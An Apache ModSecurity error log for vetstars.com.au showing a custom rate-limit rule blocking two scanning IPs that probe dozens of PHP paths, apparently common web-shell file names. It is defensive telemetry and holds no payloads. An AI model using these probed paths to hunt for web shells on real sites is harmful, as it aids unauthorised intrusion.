[Fri Apr 10 21:58:52.114545 2026] [:error] [pid 13189:tid 13199] [client 20.251.36.179:50545] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/chosen.php"] [unique_id "adkCHJAxiJKPums3eBDNxwAAAEc"]
[Fri Apr 10 21:58:52.830799 2026] [:error] [pid 13101:tid 13135] [client 20.251.36.179:19923] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/chosen.php"] [unique_id "adkCHN8Ldw85818pj2rrEgAAAII"]
[Fri Apr 10 21:58:54.568665 2026] [:error] [pid 13189:tid 13192] [client 20.251.36.179:36391] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/chosen.php"] [unique_id "adkCHpAxiJKPums3eBDNywAAAEA"]
[Fri Apr 10 21:58:57.067912 2026] [:error] [pid 63134:tid 63142] [client 20.251.36.179:50498] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/chosen.php"] [unique_id "adkCIdFALqPDwWi6eJKrvgAAA8U"]
[Fri Apr 10 21:59:17.524518 2026] [:error] [pid 62769:tid 62791] [client 20.238.64.167:8070] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/006.php"] [unique_id "adkCNcWsSnfLoB8ifjBtDQAAAlQ"]
[Fri Apr 10 21:59:18.034723 2026] [:error] [pid 13100:tid 13119] [client 20.238.64.167:36153] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/006.php"] [unique_id "adkCNlzg-ZkZ0InWIP3DGAAAAQ4"]
[Fri Apr 10 21:59:18.527133 2026] [:error] [pid 62710:tid 62729] [client 20.238.64.167:8188] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/006.php"] [unique_id "adkCNuME7qrf5xEWWJshpAAAAhA"]
[Fri Apr 10 21:59:19.031181 2026] [:error] [pid 13101:tid 13148] [client 20.238.64.167:8173] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/006.php"] [unique_id "adkCN98Ldw85818pj2rrPAAAAI8"]
[Fri Apr 10 21:59:19.525038 2026] [:error] [pid 13189:tid 13196] [client 20.238.64.167:8144] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "adkCN5AxiJKPums3eBDN3gAAAEQ"]
[Fri Apr 10 21:59:20.028850 2026] [:error] [pid 62884:tid 62915] [client 20.238.64.167:38284] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "adkCOOUCK1xrhnnmpo2IRAAAAtg"]
[Fri Apr 10 21:59:20.521630 2026] [:error] [pid 62651:tid 62673] [client 20.238.64.167:8176] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "adkCODbAH0le57SIaqwpDQAAAdQ"]
[Fri Apr 10 21:59:21.016730 2026] [:error] [pid 62884:tid 62891] [client 20.238.64.167:36140] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "adkCOeUCK1xrhnnmpo2IRQAAAsA"]
[Fri Apr 10 21:59:21.517609 2026] [:error] [pid 62769:tid 62776] [client 20.238.64.167:8150] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "adkCOcWsSnfLoB8ifjBtDgAAAkU"]
[Fri Apr 10 21:59:22.022450 2026] [:error] [pid 62651:tid 62667] [client 20.238.64.167:8164] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "adkCOjbAH0le57SIaqwpFQAAAc4"]
[Fri Apr 10 21:59:22.517524 2026] [:error] [pid 62884:tid 62904] [client 20.238.64.167:8177] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "adkCOuUCK1xrhnnmpo2IRwAAAs0"]
[Fri Apr 10 21:59:23.019041 2026] [:error] [pid 62710:tid 62725] [client 20.238.64.167:36107] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "adkCO-ME7qrf5xEWWJshsgAAAgw"]
[Fri Apr 10 21:59:23.511223 2026] [:error] [pid 62884:tid 62899] [client 20.238.64.167:8105] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolf.php"] [unique_id "adkCO-UCK1xrhnnmpo2ISAAAAsg"]
[Fri Apr 10 21:59:24.010706 2026] [:error] [pid 62710:tid 62720] [client 20.238.64.167:8065] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolf.php"] [unique_id "adkCPOME7qrf5xEWWJshuQAAAgc"]
[Fri Apr 10 21:59:24.518966 2026] [:error] [pid 63134:tid 63139] [client 20.238.64.167:38281] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolf.php"] [unique_id "adkCPNFALqPDwWi6eJKr1QAAA8I"]
[Fri Apr 10 21:59:25.022103 2026] [:error] [pid 13101:tid 13142] [client 20.238.64.167:36150] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolf.php"] [unique_id "adkCPd8Ldw85818pj2rrQwAAAIk"]
[Fri Apr 10 21:59:25.520273 2026] [:error] [pid 62884:tid 62914] [client 20.238.64.167:8101] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "adkCPeUCK1xrhnnmpo2ISgAAAtc"]
[Fri Apr 10 21:59:26.016184 2026] [:error] [pid 62710:tid 62713] [client 20.238.64.167:36155] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "adkCPuME7qrf5xEWWJshxAAAAgA"]
[Fri Apr 10 21:59:26.513292 2026] [:error] [pid 13101:tid 13153] [client 20.238.64.167:38319] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "adkCPt8Ldw85818pj2rrSgAAAJQ"]
[Fri Apr 10 21:59:27.021423 2026] [:error] [pid 62769:tid 62774] [client 20.238.64.167:38315] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "adkCP8WsSnfLoB8ifjBtHgAAAkM"]
[Fri Apr 10 21:59:27.514541 2026] [:error] [pid 62769:tid 62790] [client 20.238.64.167:38294] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "adkCP8WsSnfLoB8ifjBtIAAAAlM"]
[Fri Apr 10 21:59:28.020834 2026] [:error] [pid 62769:tid 62773] [client 20.238.64.167:8186] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "adkCQMWsSnfLoB8ifjBtJQAAAkI"]
[Fri Apr 10 21:59:28.521393 2026] [:error] [pid 62710:tid 62716] [client 20.238.64.167:38278] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "adkCQOME7qrf5xEWWJsh0gAAAgM"]
[Fri Apr 10 21:59:29.016025 2026] [:error] [pid 62884:tid 62900] [client 20.238.64.167:8151] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "adkCQeUCK1xrhnnmpo2ITQAAAsk"]
[Fri Apr 10 21:59:29.511584 2026] [:error] [pid 13100:tid 13116] [client 20.238.64.167:8023] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adkCQVzg-ZkZ0InWIP3DHAAAAQs"]
[Fri Apr 10 21:59:30.011868 2026] [:error] [pid 62819:tid 62825] [client 20.238.64.167:36109] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adkCQvU20EyPf7NlslduoAAAAoM"]
[Fri Apr 10 21:59:30.514928 2026] [:error] [pid 62710:tid 62734] [client 20.238.64.167:36115] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adkCQuME7qrf5xEWWJsh2gAAAhU"]
[Fri Apr 10 21:59:31.026105 2026] [:error] [pid 62769:tid 62775] [client 20.238.64.167:8135] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adkCQ8WsSnfLoB8ifjBtMwAAAkQ"]
[Fri Apr 10 21:59:31.521345 2026] [:error] [pid 13189:tid 13205] [client 20.238.64.167:8172] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adkCQ5AxiJKPums3eBDN4wAAAE0"]
[Fri Apr 10 21:59:32.023573 2026] [:error] [pid 62710:tid 62723] [client 20.238.64.167:8165] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adkCROME7qrf5xEWWJsh5AAAAgo"]
[Fri Apr 10 21:59:32.521691 2026] [:error] [pid 13189:tid 13215] [client 20.238.64.167:36116] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adkCRJAxiJKPums3eBDN5wAAAFc"]
[Fri Apr 10 21:59:33.019605 2026] [:error] [pid 13189:tid 13216] [client 20.238.64.167:8097] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adkCRZAxiJKPums3eBDN7AAAAFg"]
[Fri Apr 10 21:59:33.519218 2026] [:error] [pid 62819:tid 62840] [client 20.238.64.167:8190] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adkCRfU20EyPf7NlsldupAAAApI"]
[Fri Apr 10 21:59:34.024585 2026] [:error] [pid 13189:tid 13208] [client 20.238.64.167:8064] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adkCRpAxiJKPums3eBDN7gAAAFA"]
[Fri Apr 10 21:59:34.518406 2026] [:error] [pid 62710:tid 62717] [client 20.238.64.167:8133] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adkCRuME7qrf5xEWWJsh8wAAAgQ"]
[Fri Apr 10 21:59:35.015471 2026] [:error] [pid 13189:tid 13201] [client 20.238.64.167:8079] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adkCR5AxiJKPums3eBDN8AAAAEk"]
[Fri Apr 10 21:59:35.513031 2026] [:error] [pid 13189:tid 13204] [client 20.238.64.167:8143] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/image.php"] [unique_id "adkCR5AxiJKPums3eBDN9AAAAEw"]
[Fri Apr 10 21:59:36.007658 2026] [:error] [pid 62769:tid 62788] [client 20.238.64.167:8160] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/image.php"] [unique_id "adkCSMWsSnfLoB8ifjBtOAAAAlE"]
[Fri Apr 10 21:59:36.505482 2026] [:error] [pid 62769:tid 62795] [client 20.238.64.167:8091] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/image.php"] [unique_id "adkCSMWsSnfLoB8ifjBtPAAAAlg"]
[Fri Apr 10 21:59:37.022105 2026] [:error] [pid 62819:tid 62823] [client 20.238.64.167:36097] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/image.php"] [unique_id "adkCSfU20EyPf7NlslduqgAAAoE"]
[Fri Apr 10 21:59:37.527797 2026] [:error] [pid 62769:tid 62780] [client 20.238.64.167:8106] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adkCScWsSnfLoB8ifjBtQgAAAkk"]
[Fri Apr 10 21:59:38.031284 2026] [:error] [pid 62651:tid 62656] [client 20.238.64.167:8170] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adkCSjbAH0le57SIaqwpHAAAAcM"]
[Fri Apr 10 21:59:38.527692 2026] [:error] [pid 62769:tid 62772] [client 20.238.64.167:8008] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adkCSsWsSnfLoB8ifjBtSgAAAkE"]
[Fri Apr 10 21:59:39.029438 2026] [:error] [pid 62769:tid 62775] [client 20.238.64.167:8007] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adkCS8WsSnfLoB8ifjBtTgAAAkQ"]
[Fri Apr 10 21:59:39.522161 2026] [:error] [pid 13100:tid 13123] [client 20.238.64.167:36146] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adkCS1zg-ZkZ0InWIP3DHwAAARI"]
[Fri Apr 10 21:59:40.029046 2026] [:error] [pid 13101:tid 13154] [client 20.238.64.167:8168] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adkCTN8Ldw85818pj2rrXQAAAJU"]
[Fri Apr 10 21:59:40.527508 2026] [:error] [pid 62769:tid 62771] [client 20.238.64.167:8110] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adkCTMWsSnfLoB8ifjBtUQAAAkA"]
[Fri Apr 10 21:59:41.029273 2026] [:error] [pid 63134:tid 63161] [client 20.238.64.167:36125] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adkCTdFALqPDwWi6eJKr3wAAA9g"]
[Fri Apr 10 21:59:41.546537 2026] [:error] [pid 62884:tid 62911] [client 20.238.64.167:8142] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adkCTeUCK1xrhnnmpo2IVQAAAtQ"]
[Fri Apr 10 21:59:42.044646 2026] [:error] [pid 13189:tid 13193] [client 20.238.64.167:36150] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adkCTpAxiJKPums3eBDOAQAAAEE"]
[Fri Apr 10 21:59:42.538068 2026] [:error] [pid 13100:tid 13105] [client 20.238.64.167:8117] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adkCTlzg-ZkZ0InWIP3DIgAAAQA"]
